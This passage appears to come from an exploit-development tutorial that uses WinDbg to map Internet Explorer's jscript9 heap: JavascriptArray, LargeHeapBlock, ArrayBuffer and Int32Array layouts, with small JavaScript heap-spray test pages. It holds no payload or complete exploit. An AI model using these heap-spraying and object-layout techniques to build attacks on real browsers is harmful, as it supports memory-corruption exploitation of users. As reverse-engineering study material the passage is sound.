6eb02a6e c7460c01000000  mov     dword ptr [esi+0Ch],1
6eb02a75 8b4118          mov     eax,dword ptr [ecx+18h]
6eb02a78 8a4005          mov     al,byte ptr [eax+5]
6eb02a7b a808            test    al,8
6eb02a7d 0f85e8200a00    jne     jscript9!Js::JavascriptArray::NewInstance+0x386 (6eba4b6b)
6eb02a83 b803000000      mov     eax,3
6eb02a88 89460c          mov     dword ptr [esi+0Ch],eax
6eb02a8b 8b4104          mov     eax,dword ptr [ecx+4] ds:002b:060e9a64=060fb000
6eb02a8e 8b4004          mov     eax,dword ptr [eax+4]
6eb02a91 8b4918          mov     ecx,dword ptr [ecx+18h]
6eb02a94 8bb864040000    mov     edi,dword ptr [eax+464h]
6eb02a9a 8b01            mov     eax,dword ptr [ecx]
6eb02a9c ff5014          call    dword ptr [eax+14h]
6eb02a9f 8b4e04          mov     ecx,dword ptr [esi+4]
6eb02aa2 8b4918          mov     ecx,dword ptr [ecx+18h]
6eb02aa5 8b4908          mov     ecx,dword ptr [ecx+8]
6eb02aa8 3bc1            cmp     eax,ecx
6eb02aaa 0f8f0d9f1900    jg      jscript9!memset+0x31562 (6ec9c9bd)
6eb02ab0 8b4604          mov     eax,dword ptr [esi+4]
6eb02ab3 c7063025a46e    mov     dword ptr [esi],offset jscript9!Js::JavascriptArray::`vftable' (6ea42530)
6eb02ab9 c7461c00000000  mov     dword ptr [esi+1Ch],0
6eb02ac0 8b4004          mov     eax,dword ptr [eax+4]

The important instruction is

6eb02ab3 c7063025a46e    mov     dword ptr [esi],offset jscript9!Js::JavascriptArray::`vftable' (6ea42530)

which overwrites the first dword of the block of memory with the vftable of a JavascriptArray.

Then another important part of code follows:

6eb02ac3 8b4004          mov     eax,dword ptr [eax+4]
6eb02ac6 8b8864040000    mov     ecx,dword ptr [eax+464h]
6eb02acc 6a50            push    50h        <------- 50h bytes?
6eb02ace c7461000000000  mov     dword ptr [esi+10h],0
6eb02ad5 e80769f4ff      call    jscript9!Recycler::AllocZero (6ea493e1)    <------ allocates a block
6eb02ada c70000000000    mov     dword ptr [eax],0
6eb02ae0 c7400400000000  mov     dword ptr [eax+4],0
6eb02ae7 c7400810000000  mov     dword ptr [eax+8],10h
6eb02aee c7400c00000000  mov     dword ptr [eax+0Ch],0
6eb02af5 894618          mov     dword ptr [esi+18h],eax   <------ look at the following picture
6eb02af8 894614          mov     dword ptr [esi+14h],eax   <------ look at the following picture
6eb02afb e951200a00      jmp     jscript9!Js::JavascriptArray::NewInstance+0x24f (6eba4b51)

The following picture shows what happens in the piece of code above:

Image may be NSFW.
Clik here to view.
pic_12b

Now we have two important addresses:

239d9340          address of the JavascriptArray
2c1460a0          structure pointed to by the JavascriptArray

Let’s delete the breakpoint and resume program execution. When the Done dialog box pops up, go back to WinDbg. Now break the execution in WinDbg and have another look at the address 239d9340h:

Image may be NSFW.
Clik here to view.
pic_13

As we can see, now our JavascriptArray (at offsets 0x14 and 0x18) points to a different address. Because a JavascriptArray is growable, it’s likely that when a bigger buffer is allocated the two pointers at 0x14 and 0x18 are updated to refer to the new buffer. We can also see that the JavascriptArray at 239d9340 corresponds to the array a in the javascript code. Indeed, it contains 10000h references to other arrays.

We saw that the JavascriptArray object is allocated in jscript9!Js::JavascriptArray::NewInstance:

6eb02a46 e84546f4ff      call    jscript9!operator new<Recycler> (6ea47090)     <-------------------
6eb02a4b 8bf0            mov     esi,eax   <--------- ESI = allocated block

If at this point we return from jscript9!Js::JavascriptArray::NewInstance by pressing Shift+F11, we see the following code:

6ea125cc ff75ec          push    dword ptr [ebp-14h]
6ea125cf ff75e8          push    dword ptr [ebp-18h]
6ea125d2 ff55e4          call    dword ptr [ebp-1Ch]   (jscript9!Js::JavascriptArray::NewInstance)
6ea125d5 8b65e0          mov     esp,dword ptr [ebp-20h] ss:002b:04d2c0e0=04d2c0c4

After the call to NewInstance, EAX points to the JavascriptArray structure. So, we can put a breakpoint either at 6eb02a4b or at 6ea125d5. Let’s choose the latter:

 bp jscript9+425d5 ".printf \"new Array: addr = 0x%p\\n\",eax;g"

Here’s what we discovered so far:

Image may be NSFW.
Clik here to view.
pic_14

LargeHeapBlock

What is a LargeHeapBlock? Let’s try to find some related symbols:

0:007> x jscript9!*largeheapblock*
6f696af3          jscript9!HeapInfo::DeleteLargeHeapBlockList (<no parameter info>)
6f5d654d          jscript9!HeapInfo::ReinsertLargeHeapBlock (<no parameter info>)
6f6a8699          jscript9!LargeHeapBlock::SweepObjects<2> (<no parameter info>)
6f6ab0cf          jscript9!LargeHeapBlock::IsValidObject (<no parameter info>)
6f6a82a8          jscript9!LargeHeapBlock::SweepObjects<1> (<no parameter info>)
6f755d4d          jscript9!LargeHeapBlock::GetHeader (<no parameter info>)
6f5a160e          jscript9!LargeHeapBlock::ResetMarks (<no parameter info>)
6f5a0672          jscript9!LargeHeapBlock::Rescan (<no parameter info>)
6f59f32f          jscript9!LargeHeapBlock::IsObjectMarked (<no parameter info>)
6f59a7ca          jscript9!HeapInfo::AddLargeHeapBlock (<no parameter info>)    <------------------------
6f657a87          jscript9!LargeHeapBlock::AddObjectToFreeList (<no parameter info>)
6f755f80          jscript9!LargeHeapBlock::Alloc (<no parameter info>)    <--------------------------
6f755dba          jscript9!LargeHeapBlock::GetObjectHeader (<no parameter info>)
6f755b43          jscript9!HeapBucket::EnumerateObjects<LargeHeapBlock> (<no parameter info>)
6f755daf          jscript9!LargeHeapBlock::GetRealAddressFromInterior (<no parameter info>)
6f755dee          jscript9!LargeHeapBlock::SetMemoryProfilerOldObjectBit (<no parameter info>)
6f755d9b          jscript9!LargeHeapBlock::GetObjectSize (<no parameter info>)
6f5a096b          jscript9!HeapInfo::Rescan<LargeHeapBlock> (<no parameter info>)
6f696b24          jscript9!LargeHeapBlock::ReleasePagesShutdown (<no parameter info>)
6f755e23          jscript9!LargeHeapBlock::SetObjectMarkedBit (<no parameter info>)
6f755eaf          jscript9!LargeHeapBlock::FinalizeObjects (<no parameter info>)
6f59ef52          jscript9!LargeHeapBlock::SweepObjects<0> (<no parameter info>)
6f755e66          jscript9!LargeHeapBlock::TestObjectMarkedBit (<no parameter info>)
6f755daf          jscript9!LargeHeapBlock::MarkInterior (<no parameter info>)
6f596e18          jscript9!LargeHeapBlock::`vftable' = <no type information>

Here are the most promising functions:

6f59a7ca          jscript9!HeapInfo::AddLargeHeapBlock (<no parameter info>)
6f755f80          jscript9!LargeHeapBlock::Alloc (<no parameter info>)

Let’s put a breakpoint on both of them and reload the page in IE. When we close the Start dialog box, the first breakpoint is triggered and we end up here:

6f59a7c5 90              nop
6f59a7c6 90              nop
6f59a7c7 90              nop
6f59a7c8 90              nop
6f59a7c9 90              nop
jscript9!HeapInfo::AddLargeHeapBlock:
6f59a7ca 8bff            mov     edi,edi     <------------ we are here
6f59a7cc 55              push    ebp
6f59a7cd 8bec            mov     ebp,esp
6f59a7cf 83ec1c          sub     esp,1Ch
6f59a7d2 53              push    ebx
6f59a7d3 56              push    esi
6f59a7d4 8b750c          mov     esi,dword ptr [ebp+0Ch]

Let’s also look at the stack trace:

0:007> k 10
ChildEBP RetAddr  
04dbbc90 6f59a74d jscript9!HeapInfo::AddLargeHeapBlock
04dbbcb4 6f5a72d8 jscript9!Recycler::LargeAlloc+0x66
04dbbcd0 6f652c47 jscript9!Recycler::AllocZero+0x91
04dbbd10 6f5d2aae jscript9!Js::JavascriptArray::DirectSetItem_Full+0x3fd
04dbbd98 6f5fed13 jscript9!Js::JavascriptOperators::OP_SetElementI+0x1e0
04dbbf34 6f5a5cf5 jscript9!Js::InterpreterStackFrame::Process+0x3579
04dbc084 03fd0fe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305
WARNING: Frame IP not in any known module. Following frames may be wrong.
04dbc090 6f5a1f60 0x3fd0fe9
04dbc110 6f5a20ca jscript9!Js::JavascriptFunction::CallRootFunction+0x140
04dbc128 6f5a209f jscript9!Js::JavascriptFunction::CallRootFunction+0x19
04dbc170 6f5a2027 jscript9!ScriptSite::CallRootFunction+0x40
04dbc198 6f64df75 jscript9!ScriptSite::Execute+0x61
04dbc224 6f64db57 jscript9!ScriptEngine::ExecutePendingScripts+0x1e9
04dbc2ac 6f64e0b7 jscript9!ScriptEngine::ParseScriptTextCore+0x2ad
04dbc300 6e2db60c jscript9!ScriptEngine::ParseScriptText+0x5b
04dbc338 6e2d945d MSHTML!CActiveScriptHolder::ParseScriptText+0x42

Very interesting! A LargeHeapBlock is created by LargeAlloc (called by AllocZero) when the first item of a JavascriptArray is assigned to. Let’s return from AddLargeHeapBlock by pressing Shift+F11 and look at the memory pointed to by EAX:

0:007> dd eax
25fcbe80  6f596e18 00000003 046b1000 00000002
25fcbe90  00000000 00000000 00000004 046b1000
25fcbea0  046b3000 25fcbee0 00000000 00000000
25fcbeb0  00000000 00000000 04222e98 00000000
25fcbec0  00000000 00000000 00000000 00000004
25fcbed0  00000000 00000000 734a1523 8c000000
25fcbee0  6f596e18 00000003 046a6000 00000003
25fcbef0  00000002 00000000 00000004 046a8820
0:007> ln poi(eax)
(6f596e18)   jscript9!LargeHeapBlock::`vftable'   |  (6f596e3c)   jscript9!PageSegment::`vftable'
Exact matches:
    jscript9!LargeHeapBlock::`vftable' = <no type information>

So, EAX points to the LargeHeapBlock just created. Let’s see if this block was allocated directly on the heap:

0:007> !heap -p -a @eax
    address 25fcbe80 found in
    _HEAP @ 300000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        25fcbe78 000c 0000  [00]   25fcbe80    00054 - (busy)
          jscript9!LargeHeapBlock::`vftable'

Yes, it was! It’s size is 0x54 bytes and is preceded by an allocation header of 8 bytes (UserPtr – HEAP_ENTRY == 8). That’s all we need to know.

We can put a breakpoint right after the call to AddLargeHeapBlock:

bp jscript9!Recycler::LargeAlloc+0x66 ".printf \"new LargeHeapBlock: addr = 0x%p\\n\",eax;g"

We should have a look at a LargeHeapBlock. First, let’s change the javascript code a bit so that fewer LargeHeapBlock are created:

<html>
<head>
<script language="javascript">
  alert("Start");
  var a = new Array();
  for (var i = 0; i < 0x100; ++i) {     // <------ just 0x100
    a[i] = new Array(0x1000/4);
    a[i][0] = 0x7fffffff;
    a[i][1] = -2;
    a[i][2] = 1.2345;
    a[i][3] = document.createElement("div");
  }
  alert("Done");
</script>
</head>
<body>
</body>
</html>

Set the breakpoint we just saw:

bp jscript9!Recycler::LargeAlloc+0x66 ".printf \"new LargeHeapBlock: addr = 0x%p\\n\",eax;g"

Now reload the page in IE and close the first dialog box.

Your output should look similar to this:

new LargeHeapBlock: addr = 0x042a7368
new LargeHeapBlock: addr = 0x042a73c8
new LargeHeapBlock: addr = 0x042a7428
new LargeHeapBlock: addr = 0x042a7488
new LargeHeapBlock: addr = 0x042a74e8
new LargeHeapBlock: addr = 0x042a7548
new LargeHeapBlock: addr = 0x042a75a8
new LargeHeapBlock: addr = 0x042a7608
new LargeHeapBlock: addr = 0x042a7668
new LargeHeapBlock: addr = 0x042a76c8
new LargeHeapBlock: addr = 0x042a7728
new LargeHeapBlock: addr = 0x042a7788
new LargeHeapBlock: addr = 0x042a77e8
new LargeHeapBlock: addr = 0x042a7848
new LargeHeapBlock: addr = 0x042a78a8
new LargeHeapBlock: addr = 0x042a7908
new LargeHeapBlock: addr = 0x042a7968
new LargeHeapBlock: addr = 0x042a79c8
new LargeHeapBlock: addr = 0x042a7a28
new LargeHeapBlock: addr = 0x042a7a88
new LargeHeapBlock: addr = 0x042a7ae8
new LargeHeapBlock: addr = 0x042a7b48
new LargeHeapBlock: addr = 0x042a7ba8
new LargeHeapBlock: addr = 0x042a7c08
new LargeHeapBlock: addr = 0x042a7c68
new LargeHeapBlock: addr = 0x042a7cc8
new LargeHeapBlock: addr = 0x042a7d28
new LargeHeapBlock: addr = 0x042a7d88
new LargeHeapBlock: addr = 0x042a7de8
new LargeHeapBlock: addr = 0x042a7e48
new LargeHeapBlock: addr = 0x042a7ea8
new LargeHeapBlock: addr = 0x042a7f08
new LargeHeapBlock: addr = 0x042a7f68
new LargeHeapBlock: addr = 0x042a7fc8
new LargeHeapBlock: addr = 0x042a8028
new LargeHeapBlock: addr = 0x042a8088
new LargeHeapBlock: addr = 0x042a80e8
new LargeHeapBlock: addr = 0x134a9020
new LargeHeapBlock: addr = 0x134a9080
new LargeHeapBlock: addr = 0x134a90e0
new LargeHeapBlock: addr = 0x134a9140
new LargeHeapBlock: addr = 0x134a91a0
new LargeHeapBlock: addr = 0x134a9200
new LargeHeapBlock: addr = 0x134a9260
new LargeHeapBlock: addr = 0x134a92c0
new LargeHeapBlock: addr = 0x134a9320
new LargeHeapBlock: addr = 0x134a9380
new LargeHeapBlock: addr = 0x134a93e0
new LargeHeapBlock: addr = 0x134a9440
new LargeHeapBlock: addr = 0x134a94a0
new LargeHeapBlock: addr = 0x134a9500
new LargeHeapBlock: addr = 0x134a9560
new LargeHeapBlock: addr = 0x134a95c0
new LargeHeapBlock: addr = 0x134a9620
new LargeHeapBlock: addr = 0x134a9680
new LargeHeapBlock: addr = 0x134a96e0
new LargeHeapBlock: addr = 0x134a9740
new LargeHeapBlock: addr = 0x134a97a0
new LargeHeapBlock: addr = 0x134a9800
new LargeHeapBlock: addr = 0x134a9860
new LargeHeapBlock: addr = 0x134a98c0
new LargeHeapBlock: addr = 0x134a9920
new LargeHeapBlock: addr = 0x134a9980
new LargeHeapBlock: addr = 0x134a99e0
new LargeHeapBlock: addr = 0x134a9a40
new LargeHeapBlock: addr = 0x134a9aa0
new LargeHeapBlock: addr = 0x134a9b00
new LargeHeapBlock: addr = 0x134a9b60
new LargeHeapBlock: addr = 0x134a9bc0
new LargeHeapBlock: addr = 0x134a9c20
new LargeHeapBlock: addr = 0x134a9c80
new LargeHeapBlock: addr = 0x134a9ce0
new LargeHeapBlock: addr = 0x134a9d40
new LargeHeapBlock: addr = 0x134a9da0
new LargeHeapBlock: addr = 0x134a9e00
new LargeHeapBlock: addr = 0x134a9e60
new LargeHeapBlock: addr = 0x134a9ec0
new LargeHeapBlock: addr = 0x134a9f20
new LargeHeapBlock: addr = 0x134a9f80
new LargeHeapBlock: addr = 0x1380e060
new LargeHeapBlock: addr = 0x1380e0c0
new LargeHeapBlock: addr = 0x1380e120
new LargeHeapBlock: addr = 0x1380e180
new LargeHeapBlock: addr = 0x1380e1e0
new LargeHeapBlock: addr = 0x1380e240
new LargeHeapBlock: addr = 0x1380e2a0
new LargeHeapBlock: addr = 0x1380e300
new LargeHeapBlock: addr = 0x1380e360
new LargeHeapBlock: addr = 0x1380e3c0
new LargeHeapBlock: addr = 0x1380e420
new LargeHeapBlock: addr = 0x1380e480
new LargeHeapBlock: addr = 0x1380e4e0
new LargeHeapBlock: addr = 0x1380e540
new LargeHeapBlock: addr = 0x1380e5a0
new LargeHeapBlock: addr = 0x1380e600
new LargeHeapBlock: addr = 0x1380e660
new LargeHeapBlock: addr = 0x1380e6c0
new LargeHeapBlock: addr = 0x1380e720
new LargeHeapBlock: addr = 0x1380e780
new LargeHeapBlock: addr = 0x1380e7e0
new LargeHeapBlock: addr = 0x1380e840
new LargeHeapBlock: addr = 0x1380e8a0
new LargeHeapBlock: addr = 0x1380e900
new LargeHeapBlock: addr = 0x1380e960
new LargeHeapBlock: addr = 0x1380e9c0
new LargeHeapBlock: addr = 0x1380ea20
new LargeHeapBlock: addr = 0x1380ea80
new LargeHeapBlock: addr = 0x1380eae0
new LargeHeapBlock: addr = 0x1380eb40
new LargeHeapBlock: addr = 0x1380eba0
new LargeHeapBlock: addr = 0x1380ec00
new LargeHeapBlock: addr = 0x1380ec60
new LargeHeapBlock: addr = 0x1380ecc0
new LargeHeapBlock: addr = 0x1380ed20
new LargeHeapBlock: addr = 0x1380ed80
new LargeHeapBlock: addr = 0x1380ede0
new LargeHeapBlock: addr = 0x1380ee40
new LargeHeapBlock: addr = 0x1380eea0
new LargeHeapBlock: addr = 0x1380ef00
new LargeHeapBlock: addr = 0x1380ef60
new LargeHeapBlock: addr = 0x1380efc0
new LargeHeapBlock: addr = 0x16ccb020
new LargeHeapBlock: addr = 0x16ccb080
new LargeHeapBlock: addr = 0x16ccb0e0
new LargeHeapBlock: addr = 0x16ccb140
new LargeHeapBlock: addr = 0x16ccb1a0
new LargeHeapBlock: addr = 0x16ccb200
new LargeHeapBlock: addr = 0x16ccb260
new LargeHeapBlock: addr = 0x16ccb2c0
new LargeHeapBlock: addr = 0x16ccb320
new LargeHeapBlock: addr = 0x16ccb380
new LargeHeapBlock: addr = 0x16ccb3e0
new LargeHeapBlock: addr = 0x16ccb440
new LargeHeapBlock: addr = 0x16ccb4a0
new LargeHeapBlock: addr = 0x16ccb500
new LargeHeapBlock: addr = 0x16ccb560
new LargeHeapBlock: addr = 0x16ccb5c0
new LargeHeapBlock: addr = 0x16ccb620
new LargeHeapBlock: addr = 0x16ccb680
new LargeHeapBlock: addr = 0x16ccb6e0
new LargeHeapBlock: addr = 0x16ccb740
new LargeHeapBlock: addr = 0x16ccb7a0
new LargeHeapBlock: addr = 0x16ccb800
new LargeHeapBlock: addr = 0x16ccb860
new LargeHeapBlock: addr = 0x16ccb8c0
new LargeHeapBlock: addr = 0x16ccb920
new LargeHeapBlock: addr = 0x16ccb980
new LargeHeapBlock: addr = 0x16ccb9e0
new LargeHeapBlock: addr = 0x16ccba40
new LargeHeapBlock: addr = 0x16ccbaa0
new LargeHeapBlock: addr = 0x16ccbb00
new LargeHeapBlock: addr = 0x16ccbb60
new LargeHeapBlock: addr = 0x16ccbbc0
new LargeHeapBlock: addr = 0x16ccbc20
new LargeHeapBlock: addr = 0x16ccbc80
new LargeHeapBlock: addr = 0x16ccbce0
new LargeHeapBlock: addr = 0x16ccbd40
new LargeHeapBlock: addr = 0x16ccbda0
new LargeHeapBlock: addr = 0x16ccbe00
new LargeHeapBlock: addr = 0x16ccbe60
new LargeHeapBlock: addr = 0x16ccbec0
new LargeHeapBlock: addr = 0x16ccbf20
new LargeHeapBlock: addr = 0x16ccbf80
new LargeHeapBlock: addr = 0x16ccc020
new LargeHeapBlock: addr = 0x16ccc080
new LargeHeapBlock: addr = 0x16ccc0e0
new LargeHeapBlock: addr = 0x16ccc140
new LargeHeapBlock: addr = 0x16ccc1a0
new LargeHeapBlock: addr = 0x16ccc200
new LargeHeapBlock: addr = 0x16ccc260
new LargeHeapBlock: addr = 0x16ccc2c0
new LargeHeapBlock: addr = 0x16ccc320
new LargeHeapBlock: addr = 0x16ccc380
new LargeHeapBlock: addr = 0x16ccc3e0
new LargeHeapBlock: addr = 0x16ccc440
new LargeHeapBlock: addr = 0x16ccc4a0
new LargeHeapBlock: addr = 0x16ccc500
new LargeHeapBlock: addr = 0x16ccc560
new LargeHeapBlock: addr = 0x16ccc5c0
new LargeHeapBlock: addr = 0x16ccc620
new LargeHeapBlock: addr = 0x16ccc680
new LargeHeapBlock: addr = 0x16ccc6e0
new LargeHeapBlock: addr = 0x16ccc740
new LargeHeapBlock: addr = 0x16ccc7a0
new LargeHeapBlock: addr = 0x16ccc800
new LargeHeapBlock: addr = 0x16ccc860
new LargeHeapBlock: addr = 0x16ccc8c0
new LargeHeapBlock: addr = 0x16ccc920
new LargeHeapBlock: addr = 0x16ccc980
new LargeHeapBlock: addr = 0x16ccc9e0
new LargeHeapBlock: addr = 0x16ccca40
new LargeHeapBlock: addr = 0x16cccaa0
new LargeHeapBlock: addr = 0x16cccb00
new LargeHeapBlock: addr = 0x16cccb60
new LargeHeapBlock: addr = 0x16cccbc0
new LargeHeapBlock: addr = 0x16cccc20
new LargeHeapBlock: addr = 0x16cccc80
new LargeHeapBlock: addr = 0x16cccce0
new LargeHeapBlock: addr = 0x16cccd40
new LargeHeapBlock: addr = 0x16cccda0
new LargeHeapBlock: addr = 0x16ccce00
new LargeHeapBlock: addr = 0x16ccce60
new LargeHeapBlock: addr = 0x16cccec0
new LargeHeapBlock: addr = 0x16cccf20
new LargeHeapBlock: addr = 0x16cccf80
new LargeHeapBlock: addr = 0x1364e060
new LargeHeapBlock: addr = 0x1364e0c0
new LargeHeapBlock: addr = 0x1364e120
new LargeHeapBlock: addr = 0x1364e180
new LargeHeapBlock: addr = 0x1364e1e0
new LargeHeapBlock: addr = 0x1364e240
new LargeHeapBlock: addr = 0x1364e2a0
new LargeHeapBlock: addr = 0x1364e300
new LargeHeapBlock: addr = 0x1364e360
new LargeHeapBlock: addr = 0x1364e3c0
new LargeHeapBlock: addr = 0x1364e420
new LargeHeapBlock: addr = 0x1364e480
new LargeHeapBlock: addr = 0x1364e4e0
new LargeHeapBlock: addr = 0x1364e540
new LargeHeapBlock: addr = 0x1364e5a0
new LargeHeapBlock: addr = 0x1364e600
new LargeHeapBlock: addr = 0x1364e660
new LargeHeapBlock: addr = 0x1364e6c0
new LargeHeapBlock: addr = 0x1364e720
new LargeHeapBlock: addr = 0x1364e780
new LargeHeapBlock: addr = 0x1364e7e0
new LargeHeapBlock: addr = 0x1364e840
new LargeHeapBlock: addr = 0x1364e8a0
new LargeHeapBlock: addr = 0x1364e900
new LargeHeapBlock: addr = 0x1364e960
new LargeHeapBlock: addr = 0x1364e9c0
new LargeHeapBlock: addr = 0x1364ea20
new LargeHeapBlock: addr = 0x1364ea80
new LargeHeapBlock: addr = 0x1364eae0
new LargeHeapBlock: addr = 0x1364eb40
new LargeHeapBlock: addr = 0x1364eba0
new LargeHeapBlock: addr = 0x1364ec00
new LargeHeapBlock: addr = 0x1364ec60
new LargeHeapBlock: addr = 0x1364ecc0
new LargeHeapBlock: addr = 0x1364ed20
new LargeHeapBlock: addr = 0x1364ed80
new LargeHeapBlock: addr = 0x1364ede0
new LargeHeapBlock: addr = 0x1364ee40
new LargeHeapBlock: addr = 0x1364eea0
new LargeHeapBlock: addr = 0x1364ef00
new LargeHeapBlock: addr = 0x1364ef60
new LargeHeapBlock: addr = 0x1364efc0
new LargeHeapBlock: addr = 0x1364f060
new LargeHeapBlock: addr = 0x1364f0c0
new LargeHeapBlock: addr = 0x1364f120
new LargeHeapBlock: addr = 0x1364f180
new LargeHeapBlock: addr = 0x1364f1e0
new LargeHeapBlock: addr = 0x1364f240
new LargeHeapBlock: addr = 0x1364f2a0
new LargeHeapBlock: addr = 0x1364f300
new LargeHeapBlock: addr = 0x1364f360
new LargeHeapBlock: addr = 0x1364f3c0

Let’s look at the last 6 addresses:

new LargeHeapBlock: addr = 0x1364f1e0
new LargeHeapBlock: addr = 0x1364f240
new LargeHeapBlock: addr = 0x1364f2a0
new LargeHeapBlock: addr = 0x1364f300
new LargeHeapBlock: addr = 0x1364f360
new LargeHeapBlock: addr = 0x1364f3c0

First of all, note that they’re 0x60 bytes apart: 0x8 bytes for the allocation header and 0x58 bytes for the LargeHeapBlock object. Here are the last 6 LargeHeapBlocks in memory:

Image may be NSFW.
Clik here to view.
pic_15

As we can see, each LargeHeapBlock contains, af offset 0x24, a pointer to the previous LargeHeapBlock. This pointer will be used later to determine the address of the LeageHeapBlock itself.

ArrayBuffer & Int32Array

Here’s what the MDN (Mozilla Developer Network) says about ArrayBuffer:

The ArrayBuffer object is used to represent a generic, fixed-length raw binary data buffer. You can not directly manipulate the contents of an ArrayBuffer; instead, you create one of the typed array objects or a DataView object which represents the buffer in a specific format, and use that to read and write the contents of the buffer.

Consider the following example:

// This creates an ArrayBuffer manually.
buf = new ArrayBuffer(400*1024*1024);
a = new Int32Array(buf);

// This creates an ArrayBuffer automatically.
a2 = new Int32Array(100*1024*1024);

The arrays a and a2 are equivalent and have the same length. When creating an ArrayBuffer directly we need to specify the size in bytes, whereas when creating an Int32Array we need to specify the length in number of elements (32-bit integers). Note that when we create an Int32Array, an ArrayBuffer is created internally and the Int32Array uses it.

To find out what code creates an ArrayBuffer, we can perform a heap spray like before. Let’s use the following javascript code:

<html>
<head>
<script language="javascript">
  alert("Start");
  var a = new Array();
  for (var i = 0; i < 0x10000; ++i) {
    a[i] = new Int32Array(0x1000/4);
    for (var j = 0; j < a[i].length; ++j)
      a[i][j] = 0x123;
  }
  alert("Done");
</script>
</head>
<body>
</body>
</html>

When the dialog box with the text Done pops up, we can look at the memory with VMMap. Here’s what we see:

Image may be NSFW.
Clik here to view.
pic_16

Note that this time it says Heap (Private D …, which means that the ArrayBuffers are allocated directly on the heap. If we look at the address f650000 in WinDbg, we see this:

0f650000: 03964205 0101f3c5 ffeeffee 00000000 10620010 0e680010 00450000 0f650000
0f650020: 00000fd0 0f650040 10620000 0000000f 00000001 00000000 10610ff0 10610ff0
0f650040: 839ec20d 0801f3cd 0a73f528 0c6dcc48 00000012 f0e0d0c0 39682cf0 88000000
0f650060: 00000123 00000123 00000123 00000123 00000123 00000123 00000123 00000123
0f650080: 00000123 00000123 00000123 00000123 00000123 00000123 00000123 00000123
0f6500a0: 00000123 00000123 00000123 00000123 00000123 00000123 00000123 00000123
0f6500c0: 00000123 00000123 00000123 00000123 00000123 00000123 00000123 00000123
0f6500e0: 00000123 00000123 00000123 00000123 00000123 00000123 00000123 00000123

Our data begins at f650060. Since it’s on the heap, let’s use !heap:

0:012> !heap -p -a f650060
    address 0f650060 found in
    _HEAP @ 450000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0f650058 0201 0000  [00]   0f650060    01000 - (busy)

As always, there are 8 bytes of allocation header. If we reload the page in IE and go back to WinDbg, we can see that the situation hasn’t changed:

0f650000: 03964205 0101f3c5 ffeeffee 00000000 10620010 0e680010 00450000 0f650000
0f650020: 00000fd0 0f650040 10620000 000000cc 00000004 00000000 10310ff0 10610ff0
0f650040: 839ec20d 0801f3cd 129e0158 11119048 00000012 f0e0d0c0 2185d880 88000000
0f650060: 00000123 00000123 00000123 00000123 00000123 00000123 00000123 00000123
0f650080: 00000123 00000123 00000123 00000123 00000123 00000123 00000123 00000123
0f6500a0: 00000123 00000123 00000123 00000123 00000123 00000123 00000123 00000123
0f6500c0: 00000123 00000123 00000123 00000123 00000123 00000123 00000123 00000123
0f6500e0: 00000123 00000123 00000123 00000123 00000123 00000123 00000123 00000123

This means that we could put a hardware breakpoint at the address 0f650058 (HEAP_ENTRY above) and break on the code which make the allocation on the heap. Reload the page in IE and set the breakpoint in WinDbg:

0:013> ba w4 f650058

After closing the dialog box in IE, we break here:

772179ff 331da4002e77    xor     ebx,dword ptr [ntdll!RtlpLFHKey (772e00a4)]
77217a05 c6410780        mov     byte ptr [ecx+7],80h
77217a09 33d8            xor     ebx,eax
77217a0b 33de            xor     ebx,esi
77217a0d ff4df4          dec     dword ptr [ebp-0Ch]
77217a10 8919            mov     dword ptr [ecx],ebx
77217a12 c60200          mov     byte ptr [edx],0           ds:002b:0f65005e=00  <----------- we are here
77217a15 75be            jne     ntdll!RtlpSubSegmentInitialize+0xe5 (772179d5)
77217a17 8b5d08          mov     ebx,dword ptr [ebp+8]
77217a1a 8b45f8          mov     eax,dword ptr [ebp-8]
77217a1d baffff0000      mov     edx,0FFFFh
77217a22 66895108        mov     word ptr [ecx+8],dx
77217a26 668b4df0        mov     cx,word ptr [ebp-10h]
77217a2a 66894e10        mov     word ptr [esi+10h],cx

Here’s the stack trace:

0:004> k 10
ChildEBP RetAddr  
057db90c 77216e87 ntdll!RtlpSubSegmentInitialize+0x122
057db9a8 7720e0f2 ntdll!RtlpLowFragHeapAllocFromContext+0x882
057dba1c 75de9d45 ntdll!RtlAllocateHeap+0x206
057dba3c 6f7f4613 msvcrt!malloc+0x8d
057dba4c 6f643cfa jscript9!memset+0x3a4c2
057dba64 6f79fc00 jscript9!Js::JavascriptArrayBuffer::Create+0x3c   <----------------
057dba90 6f79af10 jscript9!Js::TypedArrayBase::CreateNewInstance+0x1cf   <----------------
057dbb08 6f5c7461 jscript9!Js::TypedArray<int>::NewInstance+0x55   <----------------
057dbca4 6f5a5cf5 jscript9!Js::InterpreterStackFrame::Process+0x4b47
057dbdd4 04a70fe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305
WARNING: Frame IP not in any known module. Following frames may be wrong.
057dbde0 6f5a1f60 0x4a70fe9
057dbe60 6f5a20ca jscript9!Js::JavascriptFunction::CallRootFunction+0x140
057dbe78 6f5a209f jscript9!Js::JavascriptFunction::CallRootFunction+0x19
057dbec0 6f5a2027 jscript9!ScriptSite::CallRootFunction+0x40
057dbee8 6f64df75 jscript9!ScriptSite::Execute+0x61
057dbf74 6f64db57 jscript9!ScriptEngine::ExecutePendingScripts+0x1e9

Perfect! We see that the ArrayBuffer is allocated with a C’s malloc, which is called inside jscript9!Js::JavascriptArrayBuffer::Create. TypedArray<int> is probably our Int32Array and TypedArrayBase is its base class. So, jscript9!Js::TypedArray<int>::NewInstance creates a new Int32Array and a new JavascriptArrayBuffer. Now we should have a look at an Int32Array in memory. We don’t need to spray the heap anymore, so let’s change the code:

<html>
<head>
<script language="javascript">
  alert("Start");
  a = new Int32Array(0x1000);
  for (var j = 0; j < a.length; ++j)
    a[j] = 0x123;
  alert("Done");
</script>
</head>
<body>
</body>
</html>

Let’s put a breakpoint on the creation of a new Int32Array:

0:013> bp jscript9!Js::TypedArray<int>::NewInstance
Couldn't resolve error at 'jscript9!Js::TypedArray<int>::NewInstance'
The breakpoint expression "jscript9!Js::TypedArray<int>::NewInstance" evaluates to the inline function.
Please use bm command to set breakpoints instead of bp.

Let’s try to use bm instead:

0:013> bm jscript9!Js::TypedArray<int>::NewInstance
  1: 6f79aebb          @!"jscript9!Js::TypedArray<int>::NewInstance"
0:013> bl
 1 e 6f79aebb     0001 (0001)  0:**** jscript9!Js::TypedArray<int>::NewInstance

OK, it seems it worked. Now reload the page in IE. When we close the dialog box, we break on jscript9!Js::TypedArray<int>::NewInstance. Here’s the entire function:

0:004> uf 6f79aebb
